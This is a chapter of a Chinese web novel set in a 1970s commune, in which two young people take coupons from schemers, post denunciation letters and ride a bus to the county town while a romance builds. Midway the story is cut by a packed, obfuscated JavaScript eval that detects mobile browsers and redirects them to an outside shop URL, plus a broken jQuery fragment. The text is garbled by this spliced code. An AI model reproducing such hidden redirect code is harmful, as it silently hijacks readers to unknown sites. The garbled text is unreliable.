从赵如如几人身上总共搜了三十三块五毛钱二分钱,还有三张肉票、两张糖票、五张粮票、一张糕点票。
姚白竹全部收进空间去了。
原来的钱,加上这些,手头有个一百出头了。
回城即使没工作,也能花一段时间了。
李立功穷得很,身上只有不到十块钱,票就只有三张。江有才身上也没装什么钱,只有几张票子,不到五块钱,倒是有一封信。
看到信封上面熟悉的地址,郁寒青瞳孔微缩。
信中没有透露写信人是谁,但是郁寒青知道,定跟后妈那家人脱不了干系。
原来,上一辈子,他被江家算计,就有他们那些人的手笔。
本来打算回城后不再跟那一家子有瓜葛,现在看来,哼,越是不想让他回去,他偏要回去!
**
看着天色将明,姚白竹打算去灶房煮点鸡蛋带着。
去时,郁寒青已经在生火了。
“拿来一起煮吧,我烧的你们屋这边的灶,那边的人还在睡,免得惊醒他们。”
姚白竹应了声,从橱柜里掏出几个鸡蛋放进锅里,转身收拾剩下的一点口粮。
郁寒青的行李都拿过来了,堆在地上,他的东西不多,只有一个藤条箱子,一个布包和一个网兜。
“我打算把这点口粮给赵大爷,抵车费,你的还剩吗?”
郁寒青指了指灶台上的布兜子,“我收拾好了,等会一起给赵大爷吧。”
这年头,粮食比钱还好使。
天蒙蒙亮,两人就拿着行李敲开了赵大爷家的门。
姚白竹顺便将铺盖棉被也拿了过来,给赵大爷。
来到公社,天光已经大亮了,跟赵大爷分别后,姚白竹跟郁寒青说她要去趟派出所。
“一起吧,我也要去。”
两人不约而同地走到举报箱,从怀里掏出一封信来。
姚白竹看着他那封信,“你不会举报江有才的吧?”
郁寒青挑眉,“你也是?”
姚白竹点头,“公章丢失,江有才绝对逃不掉关系。”
两人相视一笑,将信投进了信箱。
多人举报,派出所会更重视。
从派出所离开,两人去了公社的汽车站买票,从公社到县城,要坐三个多小时的汽车。
天气太冷,出行的人少,两人都有座位。
姚白竹挑了个有窗的地方坐下,郁寒青很自然地坐在他旁边。
刚坐下,就看到姚白竹睁着眼看他,“怎么了?”
姚白竹摇摇头,“没什么。”
这里空位还很多,她以为他会坐其他位置上。
将行李塞在座位下,姚白竹闭眼开始休息。
昨天一夜没怎么睡,现在特别困。
路况很差,汽车开的颠簸摇晃,姚白竹的头不停地往玻璃窗上杵。
像一只不停啄米的鸡。
郁寒青皱着眉,心想她就困成这样吗?头难道不疼吗?
就在汽车压过一个大坑的时候,郁寒青手快的将她的头捞了回来,往自己这边按。
感受到肩膀上的重量,郁寒青忍不住低头观察起身边的人来。
他来高山大队三年,对姚白竹并没有什么特别的印象。
不,应该说,他对高山大队的所有人都没什么特殊印象。
他知道,自己不属于高山大队,要不了多久,他就会离开,所以,他对这里所有的人和事都不在意。
不过,印象中她能干老实,但是沉默寡言,脑筋死板,很少跟人说话交流。
只是一门心思的挣工分、攒钱,像个苦行僧一样。
说实话,要不是江家的那事,郁寒青跟这样的人是不会有交集的。
只是,经过那事之后,他发现,姚白竹像变了一个人一样。
跟以前的她完全不一样。
她变得能说会道,敢怼敢打,还爱吃爱喝,尤其是脑子,聪明了很多。
可以说是换了个芯子。
他怀疑姚白竹重生了,但是重生能让人的性格和气质变化这么多吗?
郁寒青表示怀疑。
正想着,姚白竹突然动了一下,郁寒青赶紧移开视线。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13709123|144526||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不知不觉间,他竟然盯着她看了这么久。
姚白竹最近吃胖了些,脸颊没那么凹陷了。
头发仍然泛黄,但不再像之前那么毛躁了,服帖的披散着。肤色好了不少,不像之前那么黑黄,只是仍然是有点深的小麦色。
算是比较健康的颜色。
其实,细看长得还可以嘛。
郁寒青腹诽道。
虽然没有自己好看,但也不算赖。
姚白竹靠了没一会,郁寒青就感觉自己肩膀麻了。
在绅士风度和心疼自己之间,他果断选择了后者。
将姚白竹的头重新换了个方向。
姚白竹正在做梦,自己被关在小黑屋里,她正在哐哐砸墙,根本不知道自己又开始咚咚的撞窗户了。
这声音在安静的车厢内尤其显着,没一会,就有人看过来。
就连售票员也过来,“小伙子,照顾着点你媳妇啊,看把这头撞得。”
长得好有什么用,一点都不知道心疼媳妇。
“你这媳妇困成这样,我看八成是怀了。”一个大娘说道,“当初我怀俺家二小子的时候,天天困得呦,那是站着都能睡着。你们年轻人不懂,回头到了县城,可得去查查。”
“就是,看你们年轻,八成是头胎,更不能大意了。”另一个大娘说道。
郁寒青没接话,笑着点点头。
根据他的经验,你若是搭话,这些大娘能拉着你说上半天。
果然,见他不说话,大娘们不再理他,自顾自地聊怀孕生育经去了。
路上无聊,之前没人说话,还能忍,这一旦有人打开了话匣子,就收不住了。
车里的氛围逐渐热烈。
郁寒青拿下自己的围巾,叠了几折,垫在了姚白竹的头和玻璃窗之间。
姚白竹就是在这时候被吵醒的。
一睁眼,就被人摁着头,她下意识挥开,刚抬起手,突然听到一声磁性低沉的话,“别动。”
看着他凑近的脸,姚白竹瞳孔逐渐放大,“干,干吗?”
郁寒青凑得更近了,姚白竹下意识缩头闭眼。